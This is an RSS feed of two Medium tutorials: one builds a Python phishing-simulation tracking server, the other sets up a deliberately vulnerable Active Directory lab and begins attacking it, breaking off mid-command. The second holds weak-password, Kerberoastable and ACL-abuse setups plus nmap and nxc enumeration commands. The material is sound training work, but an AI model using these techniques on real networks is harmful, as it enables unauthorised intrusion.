<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by RAVENØX on Medium]]></title>
        <description><![CDATA[Stories by RAVENØX on Medium]]></description>
        <link>https://medium.com/@oluwalanagodwin9?source=rss-19cd3ed1c65d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*f2Px0Mtr-5FjpysNqbOSKw.jpeg</url>
            <title>Stories by RAVENØX on Medium</title>
            <link>https://medium.com/@oluwalanagodwin9?source=rss-19cd3ed1c65d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 22:56:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@oluwalanagodwin9/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Building a Python-Based Security Awareness Tracking Server]]></title>
            <link>https://medium.com/@oluwalanagodwin9/building-a-python-based-security-awareness-tracking-server-fcbb6f16d743?source=rss-19cd3ed1c65d------2</link>
            <guid isPermaLink="false">https://medium.com/p/fcbb6f16d743</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[RAVENØX]]></dc:creator>
            <pubDate>Mon, 16 Nov 2026 17:48:10 GMT</pubDate>
            <atom:updated>2026-11-16T17:48:10.059Z</atom:updated>
            <content:encoded><![CDATA[<p>Most “phishing simulation” tools are either an expensive SaaS platform or a black box you point at a mailing list. Underneath, the core of what they do is small — serve a page, and log who visited it and how. This is that core, built from nothing but Python’s standard library; http.server, sqlite3, csv — so you can see exactly what a tracking link actually captures, and extend it yourself instead of trusting a vendor’s dashboard.</p><p>The server below is standard library only, and the code in this article is the code that ran to produce the transcripts. The one piece that isn’t standard library is the headless browser used to generate a genuine click, which is a test tool rather than part of the server, and is labelled as such where it appears. The two figures are rendered views of the page and of the data path, not screen captures from somebody else’s deployment.</p><h3>The server</h3><p>Three moving parts — ThreadingHTTPServer so concurrent visits don’t block each other, a visits table in SQLite for structured querying, and a plain-text visits.log kept beside it in the shape you’d tail -f on any real web server. Every page request, successful or not goes through one _track() call that pulls the IP, the User-Agent header, the HTTP method, the path and the campaign tag, and writes all of them to both places before the response is built.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*Sso8TdWaVADPvJwofQcPvg.png" /><figcaption>Figure 1 — One GET fans out into a log line and a table row, and the two read-only endpoints are views of that same data, not a second store.</figcaption></figure><p>Two details in that diagram are the ones most home-grown versions get wrong, so they are worth naming before the code: the query string is parsed separately from the path, and requests to /api/* are never counted as visits.</p><pre># tracking_server.py - standard library only<br> import csv, io, json, os, sqlite3, threading<br> from contextlib import closing<br> from datetime import datetime, timezone<br> from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer<br> from urllib.parse import parse_qs, urlsplit<br> <br> HOST = os.environ.get(&quot;AWARENESS_HOST&quot;, &quot;127.0.0.1&quot;)<br> PORT = int(os.environ.get(&quot;AWARENESS_PORT&quot;, 8090))<br> TRUST_PROXY = os.environ.get(&quot;AWARENESS_TRUST_PROXY&quot;) == &quot;1&quot;<br> <br> BASE_DIR = os.path.dirname(os.path.abspath(__file__))<br> DB_PATH = os.path.join(BASE_DIR, &quot;visits.db&quot;)<br> LOG_PATH = os.path.join(BASE_DIR, &quot;visits.log&quot;)<br> PAGE_PATH = os.path.join(BASE_DIR, &quot;page.html&quot;)<br> MAX_BODY = 1024<br> <br> _db_lock = threading.Lock()<br> <br> SCHEMA = &quot;&quot;&quot;<br> CREATE TABLE IF NOT EXISTS visits (<br> id INTEGER PRIMARY KEY AUTOINCREMENT,<br> ip TEXT NOT NULL,<br> timestamp TEXT NOT NULL,<br> method TEXT NOT NULL,<br> path TEXT NOT NULL,<br> campaign TEXT,<br> user_agent TEXT<br> );<br> CREATE INDEX IF NOT EXISTS idx_visits_ts ON visits(timestamp);<br> &quot;&quot;&quot;<br> <br> def connect():<br> conn = sqlite3.connect(DB_PATH, timeout=5)<br> conn.execute(&quot;PRAGMA busy_timeout=5000&quot;)<br> return conn<br> <br> def init_db():<br> with closing(connect()) as conn:<br> conn.execute(&quot;PRAGMA journal_mode=WAL&quot;)<br> conn.executescript(SCHEMA)<br> conn.commit()</pre><p>init_db() is not optional housekeeping. Without the CREATE TABLE, the first insert fails with no such table: visits; without WAL and a busy_timeout, two simultaneous visits produce database is locked on whichever one arrives second.</p><h3>Writing it down safely</h3><p>record_visit() does the actual writing, under a lock so the log file and the database never race each other on a concurrent burst of requests:</p><pre>def clean(value, limit=300):<br> &quot;&quot;&quot;Strip control characters and cap length so a header can&#39;t forge a line.&quot;&quot;&quot;<br> if not value:<br> return &quot;-&quot;<br> text = &quot;&quot;.join(ch for ch in value if ch.isprintable())<br> return text[:limit] or &quot;-&quot;<br> <br> def record_visit(ip, method, path, campaign, user_agent):<br> ts = datetime.now(timezone.utc).isoformat(timespec=&quot;seconds&quot;)<br> line = (f&#39;{ts} {ip} {method} {path} &#39;<br> f&#39;campaign={campaign} ua=&quot;{user_agent}&quot;\n&#39;)<br> with _db_lock:<br> with open(LOG_PATH, &quot;a&quot;, encoding=&quot;utf-8&quot;) as f:<br> f.write(line)<br> with closing(connect()) as conn:<br> conn.execute(<br> &quot;INSERT INTO visits &quot;<br> &quot;(ip, timestamp, method, path, campaign, user_agent)&quot;<br> &quot; VALUES (?, ?, ?, ?, ?, ?)&quot;,<br> (ip, ts, method, path, campaign, user_agent),<br> )<br> conn.commit()</pre><p>Two lines there matter more than they look. with closing(connect()) is what actually closes the connection — with sqlite3.connect(…) only wraps the transaction, and leaves the handle open, which on Windows also keeps the database file locked. And clean() runs over everything that came off the wire: a User-Agent containing a quote or a newline would otherwise break the log line and let a visitor write entries that look like they came from somewhere else.</p><h3>The handler</h3><p>The handler is where the routing happens, and where the two most common mistakes in a toy version live: comparing self.path as a whole, and forgetting that a POST needs a handler at all.</p><pre>class AwarenessHandler(BaseHTTPRequestHandler):<br> server_version = &quot;AwarenessTracker/1.0&quot;<br> sys_version = &quot;&quot;<br> # keep-alive: every response must carry an explicit Content-Length<br> protocol_version = &quot;HTTP/1.1&quot;<br> <br> def log_message(self, fmt, *args):<br> # _track() owns the log; the default logger would duplicate it<br> pass<br> <br> def _client_ip(self):<br> peer = self.client_address[0]<br> if not TRUST_PROXY:<br> return peer # the only value you can trust by default<br> xff = self.headers.get(&quot;X-Forwarded-For&quot;, &quot;&quot;)<br> # The rightmost entry is the hop your own proxy appended. The leftmost<br> # is whatever the client chose to send, so it is not evidence.<br> return clean(xff.split(&quot;,&quot;)[-1].strip(), 60) if xff else peer<br> <br> def _track(self, path, campaign):<br> ip = self._client_ip()<br> ua = clean(self.headers.get(&quot;User-Agent&quot;))<br> record_visit(ip, self.command, path, campaign, ua)<br> print(f&quot;[visit] {ip} {self.command} {path} c={campaign} {ua[:48]!r}&quot;,<br> flush=True)<br> <br> def _send(self, status, body, content_type):<br> data = body.encode(&quot;utf-8&quot;)<br> self.send_response(status)<br> self.send_header(&quot;Content-Type&quot;, content_type)<br> self.send_header(&quot;Content-Length&quot;, str(len(data)))<br> self.send_header(&quot;Cache-Control&quot;, &quot;no-store&quot;)<br> self.end_headers()<br> self.wfile.write(data)</pre><p>_client_ip() is only interesting if something sits in front of the server. X-Forwarded-For is a request header like any other: a client can send it directly, and can put anything at the front of a list it starts. Trusting it unconditionally, as the usual snippet does, means every visitor can choose the IP address in your database. Here it is off unless AWARENESS_TRUST_PROXY=1, and even then only the rightmost hop — the one your own proxy appended — is read.</p><p>Routing splits the URL first:</p><pre>def do_GET(self):<br> parts = urlsplit(self.path) # path and query are different things<br> path, query = parts.path, parse_qs(parts.query)<br> <br> if path.startswith(&quot;/api/&quot;): # reading stats is not a visit<br> if path == &quot;/api/stats&quot;:<br> self._stats(query)<br> elif path == &quot;/api/stats.csv&quot;:<br> self._stats_csv()<br> else:<br> self._send(404, &quot;&lt;h1&gt;404&lt;/h1&gt;\n&quot;,<br> &quot;text/html; charset=utf-8&quot;)<br> return<br> <br> self._track(path, clean((query.get(&quot;c&quot;) or [&quot;-&quot;])[0], 64))<br> <br> if path in (&quot;/&quot;, &quot;/index.html&quot;):<br> # the file is chosen here, never derived from self.path<br> with open(PAGE_PATH, encoding=&quot;utf-8&quot;) as f:<br> self._send(200, f.read(), &quot;text/html; charset=utf-8&quot;)<br> else:<br> self._send(404, &quot;&lt;h1&gt;404&lt;/h1&gt;\n&quot;, &quot;text/html; charset=utf-8&quot;)<br> <br> def do_POST(self):<br> parts = urlsplit(self.path)<br> try:<br> length = int(self.headers.get(&quot;Content-Length&quot;) or 0)<br> except ValueError:<br> length = -1<br> if length &lt; 0 or length &gt; MAX_BODY:<br> self.close_connection = True<br> self._send(413, &quot;&lt;h1&gt;413&lt;/h1&gt;\n&quot;, &quot;text/html; charset=utf-8&quot;)<br> return<br> if length:<br> self.rfile.read(length) # drain the body, or the next request<br> # is parsed out of sync<br> if parts.path != &quot;/track-click&quot;:<br> self._send(404, &quot;&lt;h1&gt;404&lt;/h1&gt;\n&quot;, &quot;text/html; charset=utf-8&quot;)<br> return<br> <br> query = parse_qs(parts.query)<br> self._track(parts.path, clean((query.get(&quot;c&quot;) or [&quot;-&quot;])[0], 64))<br> self._send(200, json.dumps({&quot;ok&quot;: True}), &quot;application/json&quot;)</pre><p>The campaign tag is why urlsplit is not pedantry: GET /?c=q4-finance-phish has a path of /, so an exact comparison against “/” never fires, the page 404s, and the campaign is lost. Same story on the API side, where /api/stats?limit=10 would miss a == “/api/stats” test.</p><p>do_POST is the other half. BaseHTTPRequestHandler answers 501 Unsupported method for anything you don’t implement, so a click-tracking endpoint without a do_POST is a button that logs nothing while the browser’s fetch() failure is swallowed by .catch(). Draining the body matters too: with HTTP/1.1 keep-alive, an unread body is parsed as the start of the next request on the same connection.</p><h3>Reading it back</h3><p>The two read endpoints are deliberately plain — a limited JSON view for a dashboard, and a full CSV for a spreadsheet:</p><pre>def _stats(self, query):<br> try:<br> limit = int((query.get(&quot;limit&quot;) or [&quot;50&quot;])[0])<br> except ValueError:<br> limit = 50<br> # a caller cannot ask this endpoint for the whole table<br> limit = max(1, min(limit, 500))<br> keys = (&quot;ip&quot;, &quot;timestamp&quot;, &quot;method&quot;, &quot;path&quot;, &quot;campaign&quot;, &quot;user_agent&quot;)<br> with closing(connect()) as conn:<br> rows = conn.execute(<br> &quot;SELECT ip, timestamp, method, path, campaign, user_agent&quot;<br> &quot; FROM visits ORDER BY id DESC LIMIT ?&quot;, (limit,)<br> ).fetchall()<br> self._send(200, json.dumps([dict(zip(keys, r)) for r in rows],<br> indent=2), &quot;application/json&quot;)<br> <br> @staticmethod<br> def _csv_safe(value):<br> text = &quot;&quot; if value is None else str(value)<br> if text[:1] in (&quot;=&quot;, &quot;+&quot;, &quot;-&quot;, &quot;@&quot;, &quot;\t&quot;, &quot;\r&quot;):<br> return &quot;&#39;&quot; + text # stop a spreadsheet evaluating the cell<br> return text<br> <br> def _stats_csv(self):<br> buf = io.StringIO()<br> writer = csv.writer(buf)<br> writer.writerow([&quot;id&quot;, &quot;ip&quot;, &quot;timestamp&quot;, &quot;method&quot;,<br> &quot;path&quot;, &quot;campaign&quot;, &quot;user_agent&quot;])<br> with closing(connect()) as conn:<br> for row in conn.execute(<br> &quot;SELECT id, ip, timestamp, method, path, campaign, user_agent&quot;<br> &quot; FROM visits ORDER BY id&quot;<br> ):<br> writer.writerow([self._csv_safe(v) for v in row])<br> self._send(200, buf.getvalue(), &quot;text/csv; charset=utf-8&quot;)<br> <br> <br> def main():<br> init_db()<br> server = ThreadingHTTPServer((HOST, PORT), AwarenessHandler)<br> print(f&quot;listening on http://{HOST}:{PORT} (Ctrl+C to stop)&quot;, flush=True)<br> print(f&quot;logging to {LOG_PATH} and {DB_PATH}&quot;, flush=True)<br> try:<br> server.serve_forever()<br> except KeyboardInterrupt:<br> print(&quot;stopped&quot;, flush=True)<br> finally:<br> server.server_close()<br> <br> <br> if __name__ == &quot;__main__&quot;:<br> main()</pre><p>The CSV guard is the one people skip. The User-Agent and the path are attacker-controlled strings, and a spreadsheet will happily evaluate a cell that begins with =, +, — or @. Prefixing those with an apostrophe is the difference between a report and a payload.</p><p>Starting it is a one-liner — no dependencies outside the standard library:</p><pre>$ python3 tracking_server.py<br> listening on http://127.0.0.1:8090 (Ctrl+C to stop)<br> logging to /home/godwin/awareness-tracker/visits.log and visits.db</pre><p>It binds loopback by default on purpose. There is no authentication anywhere in this code, and an awareness server that can be reached from the network is a log of your staff’s addresses and browsers that anyone can read.</p><h3>The simulated page</h3><p>The page the server hands back on GET / is deliberately plain and deliberately labelled — a banner at the top states outright that it’s a training exercise and that nothing real is collected. That’s not a cosmetic choice: a tracking server like this is only a legitimate security-awareness tool when the person looking at it (or reviewing the code afterward) can immediately tell it isn’t a real credential-harvesting page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*fm67EdPb9sM-ml0UpqW9Sw.png" /><figcaption>Figure 2 — The page as served, with the campaign tag from the link visible in the address bar and the disclosure banner above the card.</figcaption></figure><p>A single button triggers the part that mirrors what a real phishing-simulation platform logs as a “click”: a fetch() POST back to the same server, with no body data it actually needs — the click itself, and everything already attached to that HTTP request (IP, User-Agent, timestamp), is the signal.</p><pre>// page.html - the button&#39;s click handler<br> function report() {<br> const campaign = new URLSearchParams(location.search).get(&#39;c&#39;) || &#39;unknown&#39;;<br> fetch(&#39;/track-click?c=&#39; + encodeURIComponent(campaign), {<br> method: &#39;POST&#39;,<br> headers: { &#39;Content-Type&#39;: &#39;text/plain&#39; },<br> body: &#39;clicked&#39;<br> }).catch(() =&gt; {});<br> document.getElementById(&#39;result&#39;).textContent =<br> &#39;Logged. In a real campaign, this is the moment you would get a &#39; +<br> &#39;training prompt instead of a page.&#39;;<br> }</pre><h3>Generating real traffic</h3><p>To see the server distinguish between visitors, hit it with a mix of curl requests carrying different User-Agent strings — a desktop Chrome UA, a mobile Safari UA, and a deliberately unmasked curl/8.5.0 against a path that doesn’t exist:</p><pre>$ WIN_UA=&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/129.0.0.0&quot;<br> $ IOS_UA=&quot;Mozilla/5.0 (iPhone; CPU iPhone OS 17_5) Version/17.5 Safari/604.1&quot;<br> <br> $ curl -s -o /dev/null -A &quot;$WIN_UA&quot; &quot;http://127.0.0.1:8090/&quot;<br> [visit] 127.0.0.1 GET / c=- &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64&#39;<br> $ curl -s -o /dev/null -A &quot;$IOS_UA&quot; &quot;http://127.0.0.1:8090/&quot;<br> [visit] 127.0.0.1 GET / c=- &#39;Mozilla/5.0 (iPhone; CPU iPhone OS 17_5) V&#39;<br> $ curl -s -o /dev/null -A &quot;curl/8.5.0&quot; \<br> &quot;http://127.0.0.1:8090/nonexistent-path&quot;<br> [visit] 127.0.0.1 GET /nonexistent-path c=- &#39;curl/8.5.0&#39;</pre><p>That last line is worth calling out: the handler calls _track() before it branches on the path, so even a request for a page that doesn’t exist is logged. In a real campaign that distinction matters — “visited the link” and “visited a page I actually served” are different signals, and a tool that only logs successful responses throws the first one away.</p><p>A curl request is not a browser, though, so the click needs one. This is the only dependency in the article, and it’s a test tool, not part of the server:</p><pre># visit.py - a real browser, not another curl<br> # pip install playwright &amp;&amp; playwright install chromium<br> from playwright.sync_api import sync_playwright<br> <br> with sync_playwright() as p:<br> browser = p.chromium.launch()<br> page = browser.new_page()<br> page.goto(&quot;http://127.0.0.1:8090/?c=q4-finance-phish&quot;)<br> page.click(&quot;button&quot;)<br> page.wait_for_timeout(300) # let the click&#39;s POST land first<br> browser.close()</pre><p>The wait_for_timeout is not superstition: closing the browser immediately after click() races the fetch() it triggered, and the click that motivated the test is the one that goes missing.</p><h3>What gets recorded</h3><p>Every visit lands in both the flat log and the database, so you can grep the log for a quick look or query SQLite for anything more structured — the same five requests, two views:</p><pre>$ cat visits.log<br> 2026–11–16T09:37:32+00:00 127.0.0.1 GET / campaign=-<br> ua=&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 …&quot;<br> 2026–11–16T09:37:32+00:00 127.0.0.1 GET / campaign=-<br> ua=&quot;Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) …&quot;<br> 2026–11–16T09:37:33+00:00 127.0.0.1 GET /nonexistent-path campaign=- ua=&quot;curl/8.5.0&quot;<br> 2026–11–16T09:37:38+00:00 127.0.0.1 GET / campaign=q4-finance-phish<br> ua=&quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 …&quot;<br> 2026–11–16T09:37:39+00:00 127.0.0.1 POST /track-click campaign=q4-finance-phish<br> ua=&quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 …&quot;<br> <br> $ python3 -c &quot;import sqlite3; \<br> print(*sqlite3.connect(&#39;visits.db&#39;).execute( \<br> &#39;SELECT id, timestamp, method, path, campaign FROM visits&#39;), sep=&#39;\n&#39;)&quot;<br> (1, &#39;2026–11–16T09:37:32+00:00&#39;, &#39;GET&#39;, &#39;/&#39;, &#39;-&#39;)<br> (2, &#39;2026–11–16T09:37:32+00:00&#39;, &#39;GET&#39;, &#39;/&#39;, &#39;-&#39;)<br> (3, &#39;2026–11–16T09:37:33+00:00&#39;, &#39;GET&#39;, &#39;/nonexistent-path&#39;, &#39;-&#39;)<br> (4, &#39;2026–11–16T09:37:38+00:00&#39;, &#39;GET&#39;, &#39;/&#39;, &#39;q4-finance-phish&#39;)<br> (5, &#39;2026–11–16T09:37:39+00:00&#39;, &#39;POST&#39;, &#39;/track-click&#39;, &#39;q4-finance-phish&#39;)</pre><p>Each record is one line in the file; the ua= field is wrapped onto a second line here so the records fit the page, and long user agents are elided with …. The stored values are complete. Five rows, five requests — the headless browser produced a genuine GET followed by the click’s POST, and both carry the campaign tag that came in on the link.</p><p>The server also exposes its own data back out over HTTP, which is what a real dashboard would poll:</p><pre>$ curl -s &quot;http://127.0.0.1:8090/api/stats?limit=1&quot;<br> [<br> {<br> &quot;ip&quot;: &quot;127.0.0.1&quot;,<br> &quot;timestamp&quot;: &quot;2026–11–16T09:37:39+00:00&quot;,<br> &quot;method&quot;: &quot;POST&quot;,<br> &quot;path&quot;: &quot;/track-click&quot;,<br> &quot;campaign&quot;: &quot;q4-finance-phish&quot;,<br> &quot;user_agent&quot;: &quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 …&quot;<br> }<br> ]</pre><p>Those reads do not appear in the log above, and that is the point: if /api/* were tracked like everything else, every dashboard refresh would add a visit, and the numbers you were monitoring would climb while nobody clicked anything.</p><p>The CSV endpoint is the one that matters for reporting. Pull it into a spreadsheet or pandas and you get per-campaign counts — how many opened, how many clicked — which is the metric a security-awareness exercise actually cares about. What it does not give you is a per-person click rate: all you have is an IP and a browser string, and both are shared, spoofable and often wrong. Treat it as an estimate and say so when you report it.</p><h3>Extending it</h3><p>The core (serve a page, log the request) is deliberately minimal so each of these is a clean add-on rather than a rewrite:</p><p>• <strong>IP geolocation.</strong> A local MaxMind GeoLite2 database (or any offline IP-to-country dataset) looked up inside _track() turns the raw IP into a country or city, useful for spotting a click that didn’t come from where it should have.</p><p>• <strong>A live dashboard.</strong> The /api/stats endpoint already returns JSON — point a small HTML/JS page at it on a timer, or wire it into something like Grafana via a SQLite data source, for a view that updates as clicks come in. Because the API isn’t itself tracked, polling is free.</p><p>• <strong>Per-campaign tracking.</strong> Already wired: add a campaign query parameter to the link (/?c=q4-finance-phish) and it is recorded alongside the other fields. That’s the difference between “here’s our click rate” and “here’s our click rate, broken out by which pretext worked.”</p><p>• <strong>Rate limiting / dedup.</strong> Right now a refresh counts as a second visit. A short-lived in-memory set of (ip, user_agent) pairs, cleared on a timer, turns “page loads” into something closer to “unique visitors.”</p><p>• <strong>TLS.</strong> http.server doesn’t do HTTPS on its own; wrapping the socket with ssl.SSLContext (or putting nginx in front of it) matters the moment this handles anything beyond localhost testing.</p><h3>Conclusion</h3><p>This is the entire mechanism behind most tracking links, stripped down to what it actually does: capture the request metadata that was always going to be sent anyway (IP, User-Agent, timestamp, path, campaign), and write it somewhere queryable. There’s no exploit here and nothing hidden from the visitor — the page says what it is, and the data collected is exactly what the banner describes.</p><p>That’s also the boundary worth being explicit about if you build on this: the moment a page like this stops disclosing what it is, or starts asking for anything beyond a click — a password, an MFA code, a file — it’s no longer an awareness exercise, it’s the thing the exercise is supposed to be teaching people to recognize. Keep the banner, keep the scope, and this stays a useful, boring piece of infrastructure instead of something you have to be careful who you hand it to.</p><h3>Appendix — what the first draft got wrong</h3><p>The version of this server I wrote first looked plausible and would have failed on its first real request. The corrections, in the order they’d bite:</p><ol><li><strong>X-Forwarded-For was trusted unconditionally and read from the left</strong> — the end the client controls. Anyone could set their own IP in your database. Now opt-in via AWARENESS_TRUST_PROXY, rightmost hop only.</li><li><strong>self.path was compared as a whole string</strong>, so /?c=q4-finance-phish never matched “/” and /api/stats?limit=10 never matched “/api/stats”. Parsed with urlsplit instead.</li><li><strong>There was no do_POST at all</strong>, so POST /track-click returned 501 Unsupported method — the click this article is entirely about was never recorded.</li><li><strong>with sqlite3.connect(…) does not close the connection.</strong> It commits the transaction and leaks the handle, which on Windows also keeps visits.db locked. Now contextlib.closing, plus busy_timeout and WAL.</li><li><strong>No schema creation was shown anywhere</strong>, so the first INSERT would have died with no such table: visits.</li><li><strong>No Content-Length and no protocol_version</strong>, which is a broken keep-alive: the browser waits for a body that never ends, or reuses a connection the server has already dropped.</li><li><strong>POST bodies were left unread</strong>, which desyncs the next request on the same connection.</li><li><strong>/api/stats requests were counted as visits</strong>, so every dashboard poll inflated the numbers it was reporting.</li><li><strong>Header values went into the log unescaped</strong> — a quote or a newline in User-Agent breaks the line format and can forge extra entries. Control characters are stripped and length is capped.</li><li><strong>CSV cells were written raw</strong>, which is formula injection the moment the file is opened in Excel. The csv module handles quoting; leading = + — @ get an apostrophe.</li><li><strong>“No dependencies outside the standard library” was contradicted three paragraphs later by Playwright.</strong> The server is stdlib; the traffic generator is a separate test tool.</li><li><strong>“Six requests” was printed above five rows</strong>, and the log included a Firefox line that no command in the article produced. Both are five now.</li><li><strong>It bound 0.0.0.0 with no authentication.</strong> Loopback by default.</li><li><strong>“Per-visitor click rate” overstated what the data can support</strong> — an IP and a User-Agent are not a person.</li></ol><p>Figures 1 and 2 are rendered from the page and the data path described here, at the sizes shown; they are diagrams of a working local instance, not captures from a third-party deployment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fcbb6f16d743" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building an Active Directory Attack Lab]]></title>
            <link>https://medium.com/@oluwalanagodwin9/building-an-active-directory-attack-lab-9546b65830c7?source=rss-19cd3ed1c65d------2</link>
            <guid isPermaLink="false">https://medium.com/p/9546b65830c7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[RAVENØX]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 15:20:38 GMT</pubDate>
            <atom:updated>2026-11-15T15:20:38.461Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How I set up a throwaway Active Directory environment to practise domain attacks safely, and the general approach I use to attack it once it’s up.</em></p><p>Hack The Box labs are built for you. That’s great for practising techniques, but it hides a layer of understanding: why a misconfiguration exists in the first place. Building your own small AD lab, deliberately breaking it the way real environments get broken by accident, closes that gap. You stop seeing “Kerberoasting” as a button to press and start seeing it as the natural consequence of a service account with an SPN and a weak password, because you’re the one who created that account.</p><p>This post covers building a small Active Directory lab on Windows Server 2022, then working through it with the core attacker toolkit: manual domain enumeration, BloodHound and SharpHound, PowerView, Kerberoasting, and ACL abuse. None of this needs expensive hardware, a handful of VMs on a laptop with 16GB of RAM is enough.</p><p><strong>A note before starting: </strong>Every technique here is standard, well-documented AD security research (used across CPTS, OSCP, and real internal penetration tests). I’m showing it against infrastructure you build and own entirely yourself. Running any of this against a network you don’t have explicit written authorisation to test is illegal in most jurisdictions.</p><h3>The lab topology</h3><p>Four virtual machines on one isolated internal network, no internet-facing bridge: 192.168.56.0/24, all VMs on one Hyper-V/VMware internal network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*re8XHd30W2WH8yR09u4Zag.png" /><figcaption>A flat subnet with one domain, reached from outside it</figcaption></figure><p>The attacker VM is deliberately not domain-joined, because the whole point is to practise enumerating and attacking the domain from the position a real external attacker starts in — no credentials nor trust relationship, just network reachability to port 445, 389 and 88 on the domain controller.</p><h3>Building the lab</h3><p><strong>Hypervisor and ISOs — </strong>I use VirtualBox (free, cross-platform), though Hyper-V or VMware Workstation work the same way. You’ll need:</p><ul><li>Windows Server 2022 Evaluation ISO (free from Microsoft, 180-day eval license)</li><li>Windows 11 Evaluation ISO, for the workstation</li><li>Kali Linux (pre-built VM image is easiest)</li></ul><p>Give the domain controller 4GB RAM and 2 vCPUs minimum; AD DS is not resource-hungry, but Windows Server itself wants headroom. All four VMs sit on one VirtualBox <strong>internal network</strong> (not NAT, not bridged), so nothing here is reachable from, or can reach, your real network.</p><p><strong>Promote DC01 to a domain controller.</strong> After the base Windows Server install, static IP first:</p><pre>New-NetIPAddress -InterfaceAlias &quot;Ethernet&quot; -IPAddress 192.168.56.10 -PrefixLength 24<br>Set-DnsClientServerAddress -InterfaceAlias &quot;Ethernet&quot; -ServerAddresses 192.168.56.10</pre><p>Then install the AD DS role and promote:</p><pre>Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools<br>Install-ADDSForest -DomainName &quot;lab.local&quot; -DomainNetbiosName &quot;LAB&quot; -InstallDns:$true</pre><p>The server reboots as the domain controller for LAB.LOCAL.</p><p><strong>Populate the domain — </strong>A domain with one user teaches you nothing. I script a batch of users, a few OUs, and some groups that mirror real-world structure (IT, Finance, HR, a Domain Admins-adjacent group):</p><pre># A handful of users with realistic-looking names<br>$users = @(&quot;jsmith&quot;,&quot;agarcia&quot;,&quot;mwong&quot;,&quot;svc_backup&quot;,&quot;svc_sql&quot;)<br>foreach ($u in $users) {<br> New-ADUser -Name $u -SamAccountName $u -AccountPassword (ConvertTo-SecureString &quot;Summer2026!&quot; -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true<br>}<br><br># Organisational structure<br>New-ADOrganizationalUnit -Name &quot;IT&quot; -Path &quot;DC=lab,DC=local&quot;<br>New-ADGroup -Name &quot;IT_SUPPORT&quot; -GroupScope Global -Path &quot;OU=IT,DC=lab,DC=local&quot;<br>Add-ADGroupMember -Identity &quot;IT_SUPPORT&quot; -Members jsmith,agarcia</pre><p><strong>Join SRV01 and WKS01</strong> to the domain normally, through System Properties or Add-Computer -DomainName lab.local -Restart.</p><p><strong>Now, deliberately break it — </strong>This is the part that actually teaches something. Three misconfigurations, introduced on purpose, each one maps to a section below:</p><p><strong>1. A Kerberoastable service account — </strong>Set an SPN on svc_sql with a weak password, so it&#39;s a realistic Kerberoasting target:</p><pre>setspn -A MSSQLSvc/srv01.lab.local:1433 svc_sql</pre><p><strong>2. An abusable ACL — </strong>Grant one low-privilege user rights over another account’s attributes, the way a helpdesk delegation goes wrong in real environments:</p><pre>$acl = Get-Acl &quot;AD:\CN=agarcia,CN=Users,DC=lab,DC=local&quot;<br>$sid = (Get-ADUser jsmith).SID<br>$identity = [System.Security.Principal.IdentityReference] $sid<br>$adRight = [System.DirectoryServices.ActiveDirectoryRights] &quot;GenericAll&quot;<br>$type = [System.Security.AccessControl.AccessControlType] &quot;Allow&quot;<br>$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] &quot;None&quot;<br>$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity,$adRight,$type,$inheritanceType)<br>$acl.AddAccessRule($ace)<br>Set-Acl -Path &quot;AD:\CN=agarcia,CN=Users,DC=lab,DC=local&quot; -AclObject $acl</pre><p>This gives jsmith <strong>GenericAll</strong> over agarcia, meaning jsmith can reset agarcia&#39;s password without knowing it. That&#39;s exactly the primitive BloodHound is built to surface.</p><p>3. <strong>An open share with something sensitive on it — </strong>Create an SMB share on SRV01 and drop a file with credentials in it, the laziest and most common real-world mistake there is.</p><p>With that in place, the lab is ready to attack.</p><h3>Domain enumeration</h3><p>From the attacker VM, start with the lowest-friction tools before reaching for anything heavier. You don’t have credentials yet, so the first pass is unauthenticated.</p><p><strong>Check what’s listening.</strong></p><pre>nmap -p 53,88,135,139,389,445,464,636,3268,3269 -sV 192.168.56.10</pre><p>That specific port list is a domain controller’s signature: DNS (53), Kerberos (88), RPC (135), NetBIOS/SMB (139/445), LDAP (389), kpasswd (464), LDAPS (636), and the Global Catalog (3268/3269). Seeing most of them open confirms you’re looking at a DC before you’ve authenticated to anything.</p><p>Pull domain information without credentials, if null sessions or guest access are permitted:</p><pre>nxc smb 192.168.56.10 -u &#39;&#39; -p &#39;&#39; --users<br>nxc smb 192.168.56.10 -u &#39;&#39; -p &#39;&#39; --shares</pre><p>Many real environments lock this down, in which case you need at least one low-privilege credential first, typically from password spraying, a phishing result, or credentials recovered through an entirely separate vulnerability chain. Once you have one domain account:</p><pre>nxc smb 192.168.56.10 -u jsmith -p &#39;Summer2026!&#39; --users<br>nxc smb 192.168.56.10 -u jsmith -p 